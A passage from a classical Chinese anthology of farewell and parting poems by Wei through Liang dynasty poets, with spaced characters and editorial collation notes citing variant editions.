华 兮 采 灵 芝 . 寻 永 归 兮 赠 所 思 . 感 离 隔 兮 会 无 期 . 伊 郁 悒 兮 情 不 怡 .\n魏 应 玚 别 诗 曰 . 朝 云 浮 四 海 . 日 暮 归 故 山 . 行 役 怀 旧 土 . 悲 思 不 能 言 . 悠 悠 涉 千 里 . 未 知 何 时 旋 .\n又 别 诗 曰 . 浩 浩 长 河 水 . 九 折 东 北 流 . 晨 夜 赴 沧 海 . 海 流 亦 何 抽 . 远 适 万 里 道 . 归 来 未 有 由 . 临 河 累 太 息 . 五 内 怀 伤 忧 .\n魏 徐 干 为 挽 舡 士 与 新 娶 妻 别 诗 曰 . 与 君 结 新 婚 . 宿 昔 当 别 离 . 凉 风 动 秋 草 . 蟋 蟀 鸣 相 随 . 蚓 蚓 寒 蝉 吟 . 蝉 吟 抱 枯 枝 . 枯 枝 时 飞 扬 . 身 体 忽 迁 移 . 不 悲 身 体 移 . 当 惜 岁 月 驰 . 月 驰 无 穷 极 . 会 合 安 可 知 . 愿 为 双 黄 鹄 . 悲 鸣 戏 清 池 .\n晋 孙 楚 答 弘 农 故 吏 民 诗 曰 . 昔 我 先 侯 . 迈 德 垂 化 . 康 哉 之 咏 . 寔 由 良 佐 . 惟 余 忝 辱 . 弗 克 负 荷 . 每 历 贵 邦 . 仰 瞻 泰 华 . 追 慕 先 轨 . 感 想 哀 嗟 . 诜 诜 臣 故 . 爰 及 群 士 . 皓 首 老 成 . 率 彼 邑 里 . 阐 崇 高 义 . 长 幼 以 齿 .\n又 征 西 官 属 送 别 诗 曰 . 晨 风 飘 岐 路 . 零 雨 被 芳 草 . 倾 城 远 相 送 . 饯 我 千 里 道 . 乖 离 即 长 衢 . 惆 怅 盈 怀 抱 .\n晋 潘 岳 北 芒 送 别 王 世 胄 诗 曰 . 朱 镳 既 扬 . 四 辔 既 整 . 驾 言 饯 行 . 告 离 芒 岭 . 情 有 迁 延 . 日 无 余 影 . 回 辕 南 翔 . 心 焉 北 骋 .\n又 金 谷 集 诗 曰 . 王 生 和 鼎 实 . 石 子 镇 海 沂 . 亲 友 各 言 迈 . 中 心 怅 有 违 . 何 以 叙 离 思 . 携 手 游 郊 畿 . 朝 发 晋 京 阳 . 夕 次 金 谷 湄 . 回 溪 萦 曲 阻 . 峻 阪 路 威 夷 . 渌 池 泛 淡 淡 . 青 柳 何 依 依 . 玄 醴 染 朱 颜 . 但 诉 杯 行 迟 . 投 分 寄 石 友 . 白 首 同 所 归 .\n晋 潘 尼 送 卢 弋 阳 景 宣 诗 曰 . 杨 朱 焉 所 哭 . 岐 路 重 别 离 . 屈 原 何 伤 悲 . 生 离 情 独 哀 . 知 命 虽 无 忧 . 仓 卒 意 低 回 . 叹 气 从 中 发 . 洒 泪 随 襟 颓 . 九 重 不 常 键 . 阊 阖 有 时 开 . 愧 无 纻 衣 献 . 贻 言 取 诸 怀 .\n又 皇 太 子 集 应 令 诗 曰 . 圣 朝 命 方 岳 . 爪 牙 思 北 邻 . 皇 储 延 笃 爱 . 设 饯 送 远 宾 . 谁 应 今 日 宴 . 具 惟 廊 庙 臣 . 置 酒 宴 猷 庭 . 击 鼓 灵 沼 滨 . 羽 觞 飞 酃 醁 . 芳 馔 备 奇 珍 . 巴 渝 二 八 奏 . 妙 舞 鼓 铎 振 . 长 袂 生 回 飘 . 曲 裾 扬 轻 尘 . 晋 王 浚 从 幸 洛 水 饯 王 公 归 国 诗 曰 . 圣 主 应 期 运 . 至 德 敷 彝 伦 . 神 道 垂 大 教 . 玄 化 被 无 垠 . 钦 若 崇 古 制 . 建 侯 屏 四 邻 . 皇 舆 回 羽 盖 . 高 会 洛 水 滨 . 临 川 讲 妙 艺 . 纵 酒 钓 潜 鳞 . 八 音 以 迭 奏 . 兰 羞 备 时 珍 . 古 人 亦 有 言 . 为 国 不 患 贫 . 与 蒙 庙 庭 施 . 幸 得 厕 太 钧 . 群 僚 荷 恩 泽 . 朱 颜 感 献 春 . 赋 诗 尽 下 情 . 至 感 畅 人 神 . 长 流 无 舍 逝 . 白 日 入 西 津 . 奉 辞 慕 华 辇 . 侍 卫 路 无 因 . 驰 情 系 帷 幄 . 乃 心 恋 轨 尘 .\n晋 陆 机 祖 道 毕 雍 孙 刘 边 仲 潘 正 叔 诗 曰 . 皇 储 延 髦 俊 . 多 士 出 幽 遐 . 适 遂 时 来 运 . 与 子 游 承 华 . 执 笏 崇 贤 内 . 振 缨 曾 城 阿 . 毕 刘 赞 文 武 . 潘 生 莅 邦 家 . 感 别 怀 远 人 . 愿 言 叹 以 嗟 .\n又 于 承 明 作 与 弟 士 龙 诗 曰 . 牵 世 缨 时 网 . 驾 言 远 徂 征 . 饮 饯 岂 异 族 . 亲 戚 弟 与 兄 . 分 涂 长 林 侧 . 挥 袂 万 始 亭 . 南 归 憩 永 安 . 北 迈 顿 承 明 .\n又 送 顾 公 直 诗 曰 . 伐 鼓 五 岭 表 . 扬 声 万 里 外 . 高 山 向 足 陵 . 巨 海 犹 萦 带 .\n又 拟 庭 中 有 奇 树 诗 曰 . 芳 草 忽 已 茂 . 佳 人 竟 不 归 . 感 物 恋 所 欢 . 采 此 当 遗 谁 .\n晋 王 浚 祖 道 应 令 诗 曰 . 侯 谁 在 矣 . 东 宫 诜 诜 . 曰 保 曰 傅 . 弘 道 惟 新 . 前 疑 协 衡 . 顾 问 翼 轮 . 岂 伊 张 仲 . 专 美 前 津 . 焕 乎 唐 德 . 钦 在 四 邻 . 齐 轨 上 叶 . 永 垂 清 尘 .\n晋 左 思 赠 妹 九 嫔 悼 离 诗 曰 . 郁 郁 岱 清 . 海 渎 所 经 . 阴 精 以 灵 . 为 祥 为 祯 . 峨 峨 令 妹 . 应 期 诞 生 . 如 兰 之 秀 . 如 芝 之 荣 . 总 角 岐 嶷 . 龆 夙 成 . 比 德 古 烈 . 异 世 同 声 . 惟 我 惟 妹 . 寔 惟 同 生 . 早 丧 先 妣 . 恩 百 常 情 . 女 子 有 行 . 实 远 父 兄 . 骨 肉 之 恩 . 固 有 归 宁 . 何 悟 离 析 . 隔 以 天 庭 . 自 我 不 见 . 于 今 二 龄 . 穆 穆 令 妹 . 有 德 有 言 . 才 丽 汉 班 . 明 朗 楚 樊 . 默 识 若 记 . 下 笔 成 篇 . 行 显 中 闺 . 名 播 外 藩 . 何 以 为 赠 . 勉 以 烈 图 . 何 以 为 言 . 申 以 诗 书 . 相 去 在 近 . 上 下 欷 歔 . 含 辞 满 胸 . 郁 烦 不 舒 .\n晋 张 华 祖 道 征 西 应 诏 诗 曰 . 赫 赫 大 晋 . 奄 有 万 方 . 陶 以 仁 化 . 曜 以 天 光 . 二 迹 陕 西 . 实 在 我 王 . 内 饪 玉 铉 . 外 惟 鹰 扬 . 四 牡 扬 镳 . 玄 辂 振 绥 . 庶 寮 群 后 . 饯 饮 洛 湄 . 感 离 叹 凄 . 慕 德 迟 迟 .\n又 祖 道 赵 王 应 诏 诗 曰 . 崇 选 穆 穆 . 利 建 明 德 . 于 显 穆 亲 . 时 惟 我 王 . 禀 姿 自 然 . 金 质 玉 相 . 光 宅 旧 赵 . 作 镇 异 方 . 休 宠 曲 锡 . 备 物 焕 彰 . 发 轫 上 京 . 出 自 天 邑 . 百 寮 饯 行 . 搢 绅 具 集 . 轩 冕 峨 峨 . 冠 盖 习 习 . 恋 德 惟 怀 . 永 叹 弗 及 . 晋 陆 云 饯 太 尉 王 公 还 京 邑 诗 曰 . 圣 泽 既 渥 . 嘉 会 愔 愔 . 庭 旅 钟 鼓 . 堂 有 瑟 琴 . 飞 辔 清 晖 . 扶 桑 移 阴 . 视 景 祗 慕 . 挥 袂 沾 襟 . 恋 彼 同 栖 . 悲 尔 异 林 . 我 有 旨 酒 . 以 歌 以 吟 .\n又 赠 兄 诗 曰 . 行 矣 怨 路 长 . 惄 焉 伤 别 促 . 指 途 悲 有 余 . 临 觞 欢 不 足 . 我 若 西 流 水 . 子 如 东 峙 岳 . 慷 慨 逝 言 感 . 徘 徊 居 情 育 . 安 得 携 手 俱 . 契 阔 成 騑 服 . 悠 远 涂 可 极 . 别 促 怨 会 长 . 衔 思 恋 行 迈 . 兴 言 在 临 觞 . 南 津 有 绝 济 . 北 渚 河 无 梁 . 神 往 同 逝 感 . 形 留 悲 参 商 .\n又 左 九 嫔 感 离 诗 曰 . 自 我 去 膝 下 . 倏 忽 逾 再 期 . 邈 邈 浸 弥 远 . 拜 奉 将 何 时 . 披 省 所 赐 告 . 寻 玩 悼 离 词 . 髣 佛 想 容 仪 . 歔 欷 不 自 持 . 何 时 当 奉 面 . 娱 目 于 书 诗 . 何 以 诉 辛 苦 . 告 情 于 文 辞 .\n晋 殷 仲 文 送 东 阳 太 守 诗 曰 . 昔 人 深 诚 叹 . 临 水 送 将 离 . 如 何 祖 良 游 . 心 事 孱 在 斯 . 虚 亭 无 留 宾 . 东 川 缅 逶 迤 .\n晋 何 敬 祖 洛 水 祖 王 公 应 诏 诗 曰 . 穆 穆 圣 皇 . 体 此 慈 仁 . 友 于 之 至 . 通 于 明 神 . 游 宴 绸 缪 . 情 恋 所 亲 . 薄 言 饯 之 . 于 洛 之 滨 . 嵩 崖 岩 岩 . 洪 流 汤 汤 . 春 风 动 衿 . 归 雁 和 鸣 . 我 后 飨 客 . 鼓 瑟 吹 笙 . 举 爵 惟 别 . 闻 乐 伤 情 . 嘉 宴 既 终 . 白 日 西 归 . 群 司 告 旋 . 鸾 舆 整 绥 . 我 皇 重 离 . 顿 辔 骖 騑 . 临 川 永 叹 . 酸 涕 沾 颐 . 崇 恩 感 物 . 左 右 同 悲 .\n宋 孝 武 与 庐 陵 王 绍 别 诗 曰 . 连 岁 矜 离 心 . 今 兹 幸 良 集 . 信 宿 穷 晨 暮 . 开 颜 披 所 戢 . 未 尽 欢 晤 怀 . 已 伤 岐 路 及 . 舳 舻 引 江 介 . 飞 旌 背 尔 邑 . 悄 扰 徒 旅 戒 . 团 栾 流 景 入 . 迟 迟 分 手 念 . 泫 泫 登 路 泣 .\n宋 南 ○ 原 脱 . 据 冯 校 本 补 . 平 王 代 收 泪 ○ 原 脱 . 据 冯 校 本 补 . 就 长 路 诗 曰 . 耸 辔 高 陵 曲 . 挥 袂 广 川 濆 . 黄 尘 昏 白 日 . 悲 风 起 浮 云 . 萧 条 万 里 别 . 契 阔 三 秋 分 . 时 往 从 朝 露 . 年 来 惊 夕 氲 . 徘 徊 去 芳 节 . 依 迟 从 远 军 .\n宋 谢 灵 运 相 送 方 山 诗 曰 . 祗 役 出 皇 邑 . 指 期 憩 瓯 越 . 解 缆 及 流 潮 . 怀 旧 不 能 发 . 折 折 就 衰 林 . 皎 皎 明 秋 月 . 含 情 易 为 盈 . 遇 物 难 可 歇 . 又 答 谢 惠 连 诗 曰 . 怀 人 行 千 里 . 我 劳 盈 十 旬 . 别 时 花 灼 灼 . 别 后 叶 蓁 蓁 .\n宋 谢 惠 连 西 陵 献 康 乐 诗 曰 . 哲 兄 感 仳 别 . 相 送 越 林 . 饮 饯 野 亭 馆 . 分 袂 澄 湖 阴 . 凄 凄 留 子 言 . 眷 眷 浮 客 心 . 回 塘 隐 舻 枻 . 远 望 绝 形 音 .\n又 与 孔 曲 阿 别 诗 曰 . 凄 凄 乘 兰 秋 . 言 饯 千 里 舟 . 涂 届 云 阳 邑 . 邑 宰 有 昔 游 . 行 人 虽 念 路 . 为 尔 暂 淹 留 .\n又 夜 集 叹 乖 诗 曰 . 诗 人 咏 踟 蹰 . 骚 者 歌 离 别 . 诚 哉 曩 日 欢 . 展 矣 今 夕 切 . 吾 生 赴 遥 命 . 质 明 即 行 辙 . 在 贫 故 宜 言 . 赠 子 保 温 惠 . 曷 用 书 诸 绅 . 久 要 亮 有 誓 .\n宋 颜 延 之 为 皇 太 子 侍 宴 饯 衡 阳 南 平 二 王 应 诏 诗 曰 . 大 仪 在 御 . 皇 圣 居 贞 . 旁 缉 民 纪 . 仰 纬 天 经 . 物 资 感 变 . 神 以 瑞 形 . 川 无 遁 宝 . 山 不 閟 灵 . 亦 既 戒 装 . 皇 心 载 远 . 夕 帐 亭 皋 . 晨 仪 禁 苑 . 神 行 景 骛 . 发 自 灵 阃 . 对 宴 感 分 . 瞻 秋 悼 晚 .\n宋 鲍 昭 诗 曰 . 轻 鸿 戏 江 潭 . 孤 雁 集 洲 沚 . 邂 逅 两 相 亲 . 同 念 共 无 已 . 风 雨 好 东 西 . 一 隅 顿 千 里 . 追 忆 栖 宿 时 . 声 客 满 心 耳 . 扬 翮 不 能 翔 . 徘 徊 烟 雾 里 .\n又 送 盛 侍 郎 诗 曰 . 北 临 出 塞 道 . 南 望 入 乡 津 . 高 墉 宿 寒 雾 . 平 野 起 秋 尘 .\n齐 王 俭 后 园 饯 从 兄 豫 章 诗 曰 . 兹 夕 竟 何 夕 . 念 别 开 曾 轩 . 光 风 转 兰 蕙 . 流 月 泛 虚 园 .\n齐 王 融 奉 辞 镇 西 应 教 诗 曰 . 未 学 谢 能 筭 . 高 义 幸 知 游 . 霤 庭 参 辩 奭 . 梁 苑 豫 才 邹 . 徘 徊 岁 光 晚 . 摇 落 江 树 秋 . 风 旗 萦 别 浦 . 霜 琯 迾 遥 州 .\n又 萧 谘 议 西 上 夜 集 诗 曰 . 徘 徊 将 所 忧 . 惜 别 在 河 梁 . 衿 袖 三 春 隔 . 江 山 千 里 长 . 寸 心 无 远 近 . 边 地 有 风 霜 . 勉 哉 勤 岁 暮 . 敬 矣 慎 容 光 . 山 中 殊 未 怿 . 杜 若 空 自 芳 .\n齐 谢 朓 别 王 僧 孺 诗 曰 . 花 树 杂 为 锦 . 月 池 皎 如 练 . 如 何 当 此 时 . 别 离 言 与 宴 . 非 君 不 见 思 . 所 悲 思 不 见 .\n又 与 江 水 曹 诗 曰 . 山 中 上 芳 月 . 故 人 清 樽 赏 . 远 山 翠 百 重 . 回 流 映 千 丈 . 花 枝 聚 如 雪 . 垂 藤 散 犹 网 . 别 后 能 相 思 . 何 差 异 风 壤 .\n又 怀 故 人 诗 曰 . 芳 洲 有 杜 若 . 可 以 赠 佳 期 . 望 望 忽 超 远 . 何 由 见 所 思 . 我 行 未 千 里 . 山 川 已 间 之 . 离 居 方 岁 月 . 故 人 不 在 兹 . 清 风 动 帘 夜 . 孤 月 照 窗 时 . 安 得 同 携 手 . 酌 酒 赋 新 诗 .\n又 离 夜 诗 曰 . 玉 绳 隐 高 树 . 斜 汉 映 曾 台 . 离 堂 华 烛 尽 . 别 幌 清 琴 哀 . 翻 潮 尚 知 限 . 客 思 眇 难 裁 . 山 川 不 可 梦 . 况 乃 故 人 杯 .\n又 将 发 石 头 上 烽 火 楼 诗 曰 . 徘 徊 恋 皇 邑 . 踯 躅 晒 曾 阿 . 陵 高 墀 阙 近 . 眺 迥 风 云 多 . 荆 吴 阻 山 岫 . 江 海 合 澜 波 . 归 飞 无 羽 翼 . 其 如 别 离 何 .\n又 新 亭 渚 别 范 云 诗 曰 . 洞 庭 张 乐 地 . 萧 ○ 文 选 二 十 作 潇 . 湘 帝 子 游 . 云 去 苍 梧 野 . 水 还 江 汉 流 . 停 骖 我 怅 望 . 辍 桌 子 夷 犹 . 广 平 听 方 籍 . 茂 陵 方 见 求 . 心 事 俱 已 矣 . 江 上 徒 离 忧 .\n齐 虞 义 ○ 按 当 作 羲 . 送 友 人 上 湘 诗 曰 . 濡 足 送 征 人 . 褰 裳 临 水 路 . 共 盈 一 樽 酒 . 对 之 愁 日 暮 . 汉 广 虽 容 舠 . 风 悲 未 可 渡 . 佳 期 难 再 得 . 愿 但 论 心 故 . 沅 水 日 生 波 . 芳 洲 行 坠 露 . 共 知 丘 壑 改 . 同 无 金 石 固 .\n齐 刘 绘 送 别 诗 曰 . 春 满 方 解 箨 . 弱 柳 向 低 风 . 相 思 将 安 寄 . 怅 望 南 飞 鸿 .\n齐 张 融 别 诗 曰 . 白 云 山 上 尽 . 清 风 松 下 歇 . 欲 识 离 人 悲 . 孤 台 见 明 月 .\n梁 简 文 帝 示 晋 陵 弟 诗 曰 . 零 雨 岐 路 悲 . 送 归 临 水 节 . 时 事 虽 为 舛 . 离 忧 等 闲 别 .\n又 饯 临 海 太 守 刘 孝 仪 蜀 郡 太 守 刘 孝 胜 诗 曰 . 碣 石 临 东 海 . 峨 眉 距 西 候 . 两 杜 昔 夹 河 . 二 龙 今 出 守 . 方 无 夜 犬 惊 . 向 息 神 牛 斗 . 凉 风 绕 轻 幕 . 麦 雨 交 新 溜 . 念 此 一 衔 觞 . 怀 离 在 惟 旧 .\n又 饯 庐 陵 内 史 王 脩 应 令 诗 曰 . 饯 行 临 上 节 . 开 筵 命 羽 觞 . 回 池 泻 飞 栋 . 浓 云 垂 画 堂 . 疏 槐 未 合 影 . 反 日 暂 流 光 . 园 梅 敛 新 衰 . 阶 蕙 结 初 芳 .\n又 饯 别 诗 曰 . 行 乐 南 北 皮 . 宴 饯 临 华 池 . 箨 解 篁 开 节 . 花 闇 鸟 迷 枝 . 窗 阴 随 影 度 . 水 色 带 风 移 . 徒 命 衔 杯 酒 . 终 成 悯 别 离 .\n又 送 别 诗 曰 . 行 行 异 溯 海 . 依 依 别 路 岐 . 水 苔 随 缆 聚 . 岸 柳 拂 舟 垂 . 石 菌 生 悬 叶 . 江 槎 流 卧 枝 . 烛 尽 悲 宵 去 . 酒 满 惜 将 离 .\n又 伤 离 新 体 诗 曰 . 伤 离 复 伤 离 . 别 后 情 郁 纡 . 凄 凄 隐 去 桌 . 悯 悯 怆 还 途 . 戚 戚 意 不 申 . 转 顾 独 沾 襟 . 前 驱 经 御 宿 . 后 骑 历 河 漘 . 胡 香 翼 还 幰 . 清 笳 送 后 尘 . 落 日 斜 飞 盖 . 余 晖 承 画 轮 . 柳 影 长 横 路 . 槐 枝 深 隐 人 . 桂 宫 夕 掩 铜 龙 扉 . 甲 馆 宵 垂 云 母 帏 . 胧 胧 月 色 上 . 的 的 夜 萤 飞 . 草 香 袭 余 袂 . 露 洒 沾 人 衣 . 带 堞 凌 城 云 乱 聚 . 排 枝 度 叶 鸟 争 归 . 碗 中 浮 蚁 不 能 酌 . 琴 闲 玉 徽 调 别 鹤 . 别 鹤 千 里 别 离 声 . 弦 调 轸 急 心 自 惊 . 试 起 登 南 楼 . 还 向 华 池 游 . 前 时 篠 生 今 欲 合 . 近 日 裁 荷 尚 不 抽 . 犹 是 衔 杯 共 赏 处 . 今 兹 对 此 独 生 愁 . 楼 高 望 暧 暧 . 山 川 自 分 态 . 偃 师 虽 北 连 . 轘 辕 已 南 背 . 远 听 寂 无 闻 . 遥 瞻 目 有 阂 . 含 毫 意 不 迷 . 长 叹 情 无 赖 .\n梁 昭 明 春 日 宴 晋 熙 王 诗 曰 . 百 六 钟 期 数 . 三 七 厄 时 中 . 国 难 悲 如 毁 . 亲 离 叹 数 穷 . 藩 哲 游 沮 梦 . 杨 化 抚 边 戎 . 幸 兹 同 宴 醑 . 引 满 爱 樽 空 .\n梁 范 云 之 零 陵 郡 次 新 亭 诗 曰 . 江 干 远 树 浮 . 天 末 孤 烟 起 . 江 天 自 如 合 . 烟 树 还 相 似 . 沧 流 未 可 源 . 高 飘 去 何 已 .\n又 别 诗 曰 . 洛 阳 城 东 西 . 长 作 经 时 别 . 昔 去 雪 如 花 . 今 来 花 似 雪 .\n又 送 沈 记 室 夜 别 诗 曰 . 桂 水 澄 夜 分 . 桂 山 清 晓 云 . 秋 风 两 乡 怨 . 秋 月 千 里 分 . 寒 芝 宁 共 采 . 霜 猿 行 独 闻 . 扪 萝 意 遗 我 . 折 桂 方 思 君 .\n又 别 诗 曰 . 孤 烟 起 新 丰 . 候 雁 出 云 中 . 草 低 金 城 雾 . 木 下 玉 门 风 . 别 君 河 初 满 . 思 君 月 屡 空 . 折 桂 衡 山 北 . 摘 兰 沅 水 东 . 兰 摘 心 焉 寄 . 桂 折 意 谁 通 .\n梁 江 淹 贻 袁 常 侍 诗 曰 . 昔 我 别 楚 水 . 秋 月 丽 秋 天 . 今 君 客 吴 阪 . 春 日 媚 春 泉 . 幽 冀 生 碧 草 . 沅 湘 含 翠 烟 . 铄 铄 霞 上 景 . 懵 懵 云 外 山 . 涉 江 竟 何 望 . 留 滞 空 采 莲 .\n又 临 秋 怨 别 诗 曰 . 四 时 煎 日 夜 . 玉 露 催 紫 荣 . 始 怀 未 及 叹 . 春 意 秋 方 惊 . 凉 草 散 萤 色 . 衰 树 敛 蝉 声 . 承 君 客 江 潭 . 先 愁 鸿 雁 鸣 . 吴 山 饶 离 袂 . 楚 水 多 别 情 . 金 碧 坚 不 灭 . 桂 华 兰 有 英 . 但 见 一 叶 落 . 衰 恨 方 未 平 .\n又 拟 古 杂 体 诗 曰 . 远 与 君 别 者 . 乃 至 雁 门 关 . 黄 云 蔽 千 里 . 游 子 何 时 还 . 送 君 如 昨 日 . 檐 前 露 已 团 . 不 惜 蕙 草 晚 . 所 悲 道 里 寒 . 君 行 在 天 涯 . 妾 身 长 别 离 . 愿 一 见 颜 色 . 不 异 琼 树 枝 . 菟 丝 及 水 萍 . 所 寄 终 不 移 .\n梁 宗 史 ○ 当 作 夬 . 诗 曰 . 别 酒 正 参 差 . 乖 情 将 陆 离 . 怅 焉 临 桂 苑 . 愍 默 瞻 华 池 . 轻 云 流 惠 采 . 时 雨 乱 清 漪 . 眇 眇 追 兰 径 . 悠 悠 结 芳 枝 . 眷 言 终 何 托 . 心 寄 方 在 斯 .\n梁 萧 琛 别 诗 曰 . 落 日 总 行 辔 . 薄 别 在 江 干 . 游 客 无 淹 期 . 长 川 有 急 澜 . 分 手 信 云 易 . 相 思 诚 独 难 . 之 子 两 特 达 . 伊 子 日 盘 桓 . 俟 我 式 微 岁 . 共 赏 阶 前 兰 .\n梁 任 昉 诗 曰 . 离 烛 有 穷 辉 . 别 念 无 终 绪 . 歧 言 未 及 申 . 离 白 已 先 举 . 揆 景 衡 无 阿 . 临 风 长 楸 渚 . 浮 云 难 嗣 音 . 徘 徊 怅 谁 与 . 傥 有 关 外 驿 . 聊 访 狎 鸥 鹭 .\n梁 丘 迟 侍 宴 乐 游 苑 饯 徐 州 刺 史 应 诏 诗 曰 . 诘 旦 阖 闾 开 . 驰 道 闻 凤 吹 . 轻 荑 承 玉 辇 . 细 草 藉 龙 骑 . 风 迟 山 尚 响 . 雨 息 云 犹 渍 . 巢 空 初 鸟 飞 . 荇 乱 新 鱼 戏 . 寔 惟 北 门 重 . 匪 亲 孰 为 寄 . 参 差 别 念 举 . 肃 穆 恩 波 被 . 小 臣 信 多 幸 . 投 生 岂 酬 义 .\n梁 沈 约 侍 宴 谢 朏 宅 饯 东 归 应 诏 诗 曰 . 皇 情 怅 东 ● . 羽 饰 拂 南 . 夏 云 清 朝 景 . 秋 风 扬 早 蝉 . 饮 和 陪 下 席 . 论 道 光 上 筵 .\n又 侍 宴 乐 游 苑 饯 徐 州 刺 史 应 诏 诗 曰 . 沃 若 动 龙 骖 . 参 差 凝 凤 管 . 金 塘 草 未 合 . 玉 池 泉 将 满 .\n又 侍 宴 乐 游 苑 饯 吕 僧 珍 应 诏 诗 曰 . 丹 浦 非 乐 战 . 负 重 切 君 临 . 我 皇 蕴 至 德 . 忘 己 用 尧 心 . 愍 兹 区 宇 内 . 鱼 鸟 失 飞 沉 . 推 毂 二 崤 道 . 扬 旆 九 河 阴 . 超 乘 尽 三 属 . 选 士 皆 百 金 . 戎 主 出 细 柳 . 饯 席 樽 上 林 . 命 师 诛 后 服 . 授 律 缓 前 禽 . 函 辕 方 解 带 . 峣 武 稍 披 衿 . 伐 罪 芒 山 曲 . 吊 民 伊 水 浔 . 将 陪 告 成 礼 . 待 此 未 抽 簪 .\n又 别 范 安 ○ 文 选 二 十 安 下 有 成 字 . 此 脱 . 诗 曰 . 平 生 少 年 日 . 分 手 易 前 期 . 及 尔 同 衰 暮 . 非 复 别 离 时 . 勿 言 一 樽 酒 . 明 日 难 共 持 . 梦 中 不 识 路 . 何 以 慰 相 思 .\n又 送 友 人 别 诗 曰 . 君 东 我 亦 西 . 衔 悲 涕 如 霰 . 浮 云 一 南 北 . 何 由 展 言 宴 . 方 作 异 乡 人 . 赠 子 同 心 扇 . 遥 裔 发 海 鸿 . 连 翩 出 檐 鷰 . 春 秋 更 去 来 . 参 差 不 相 见 .\n又 别 谢 文 学 诗 曰 . 汉 池 水 如 带 . 巫 山 云 似 盖 . 一 望 沮 漳 水 . 宁 思 江 海 会 . 以 我 经 寸 心 . 从 君 千 里 外 .\n梁 王 筠 侍 宴 饯 临 川 王 北 伐 应 诏 诗 曰 . 金 版 韬 英 . 玉 牒 蕴 精 . 帝 德 乃 武 . 王 威 有 征 . 轩 习 弧 矢 . 夏 陈 干 戚 . 周 骛 戎 车 . 汉 驰 羽 檄 . 我 皇 俊 圣 . 千 年 钟 武 . 德 洞 十 门 . 威 加 八 柱 . 金 正 圮 德 . 水 行 失 道 . 胡 马 南 牧 . 戎 徒 西 保 . 荐 食 伊 . 整 居 沣 镐 . 金 阙 杨 尘 . 铜 台 茂 草 . 命 彼 膳 ○ 原 讹 胆 . 据 冯 校 本 改 . 夫 . 爰 诏 协 律 . 乐 武 出 车 . 弦 操 别 日 . 玉 馔 骈 罗 . 琼 浆 泛 溢 . 圣 德 温 温 . 宾 仪 秩 秩 .\n梁 萧 子 显 侍 宴 饯 陆 倕 应 令 诗 曰 . 储 皇 饯 离 送 . 广 命 传 羽 觞 . 侍 游 追 西 水 . 闲 宴 等 清 漳 . 新 泉 已 激 浪 . 初 卉 始 含 芳 . 雨 罢 叶 增 绿 . 日 斜 树 影 长 .\n梁 刘 孝 绰 侍 宴 饯 庾 于 陵 应 诏 诗 曰 . 皇 心 眷 将 远 . 怅 饯 灵 芝 侧 . 是 日 青 春 献 . 林 塘 多 秀 色 . 芳 卉 疑 纶 组 . 嘉 树 以 雕 饰 . 游 丝 缀 鹦 领 . 光 风 送 绮 翼 . 下 辇 朝 既 盈 . 留 宴 景 将 昃 . 高 辩 竞 谈 瑞 . 奇 文 争 笔 力 . 伊 臣 独 无 伎 . 何 由 奉 吹 息 .\n又 侍 宴 饯 张 惠 绍 应 诏 诗 曰 . 沧 池 诚 自 广 . 蓬 山 一 何 峻 . 丽 景 花 上 鲜 . 油 云 叶 里 润 . 风 度 余 芳 满 . 鸟 集 新 条 振 . 饯 言 班 俊 造 . 光 私 奖 輶 愆 . 徒 然 谬 反 隅 . 何 以 窥 重 仞 .\n又 应 令 诗 曰 . 鲜 云 积 上 月 . 冻 雨 晦 初 阳 . 回 风 飘 淑 气 . 落 景 换 新 光 . 竹 萌 始 防 露 . 桂 挺 已 含 芳 . 瑶 庭 变 杜 若 . 玉 沼 发 攒 蒋 . 圣 衿 惜 歧 路 . 曲 宴 辟 兰 堂 .\n又 江 津 寄 刘 之 遴 诗 曰 . 与 子 如 黄 鹄 . 将 别 复 徘 徊 . 经 过 一 柱 观 . 出 入 三 休 台 . 共 摛 云 气 藻 . 同 举 霞 文 杯 . 流 人 每 晓 游 . 禁 门 恒 晚 开 . 欲 寄 一 言 别 . 高 驾 何 由 来 .\n又 发 建 兴 渚 示 刘 陆 二 黄 门 诗 曰 . 扁 舟 去 平 乐 . 还 顾 极 川 梁 . 犹 闻 枣 下 吹 . 尚 识 杏 闲 堂 . 洛 桥 分 曲 渚 . 官 寺 隐 回 塘 . 客 行 裁 跬 步 . 即 事 已 多 伤 . 况 复 千 余 里 . 悲 心 未 遽 央 .\n又 侍 离 宴 诗 曰 . 轩 辕 东 北 望 . 江 汉 西 南 永 . 羽 旗 映 日 移 . 铙 吹 临 风 警 . 令 王 愍 追 送 . 缆 舟 饯 俄 顷 . 掩 袂 望 征 云 . 衔 杯 惜 余 景 . 首 燕 徒 有 心 . 局 步 何 由 骋 . 梁 吴 筠 送 吕 外 兵 诗 曰 . 白 云 浮 海 际 . 明 月 落 河 滨 . 送 君 长 叹 息 . 徒 使 泪 沾 巾 .\n又 别 夏 侯 故 章 诗 曰 . 白 马 黄 金 羁 . 青 骊 紫 丝 控 . 新 知 关 山 别 . 故 人 河 梁 送 . 置 此 一 函 书 . 为 余 达 云 梦 .\n又 酬 别 诗 曰 . 故 人 杯 酒 别 . 天 清 明 月 亮 . 露 下 寒 葭 中 . 风 起 秋 江 上 . 衣 染 潺 湲 泣 . 桌 犯 参 差 浪 . 匕 首 直 千 金 . 七 宝 雕 华 状 . 生 离 何 用 表 . 赖 此 持 相 饷 .\n又 别 王 谦 诗 曰 . 严 光 不 遂 世 . 流 转 任 飞 蓬 . 欲 还 天 台 岭 . 不 狎 甘 泉 宫 . 离 歌 玉 弦 绝 . 别 酒 金 卮 空 . 傥 遗 故 人 念 . 仆 在 东 山 东 .\n又 赠 摇 郎 诗 曰 . 星 汉 正 参 差 . 佳 人 不 在 斯 . 宿 昔 暂 乖 阻 . 何 异 远 分 离 . 露 染 蘼 芜 叶 . 月 照 芄 兰 枝 . 风 光 已 飘 薄 . 云 采 复 逶 迤 . 劳 梦 无 人 觉 . 默 默 心 自 知 .\n又 赠 别 诗 曰 . 客 子 惨 无 欢 . 送 别 江 之 干 . 白 云 方 眇 眇 . 黄 鸟 尚 关 关 . 纠 纷 巫 山 石 . 合 沓 洞 庭 澜 . 行 衣 侵 晓 露 . 征 舠 犯 夜 湍 . 无 因 停 合 浦 . 见 此 去 珠 还 .\n又 赠 别 诗 曰 . 树 响 浃 山 来 . 猿 声 绕 岫 急 . 旅 帆 风 飘 扬 . 行 巾 露 沾 湿 . 深 浪 闇 蒹 葭 . 浓 云 没 城 邑 . 不 见 别 离 人 . 独 有 相 思 泣 .\n又 赠 别 诗 曰 . 君 留 朱 门 里 . 我 至 广 江 濆 . 城 高 望 犹 见 . 风 多 听 不 闻 . 流 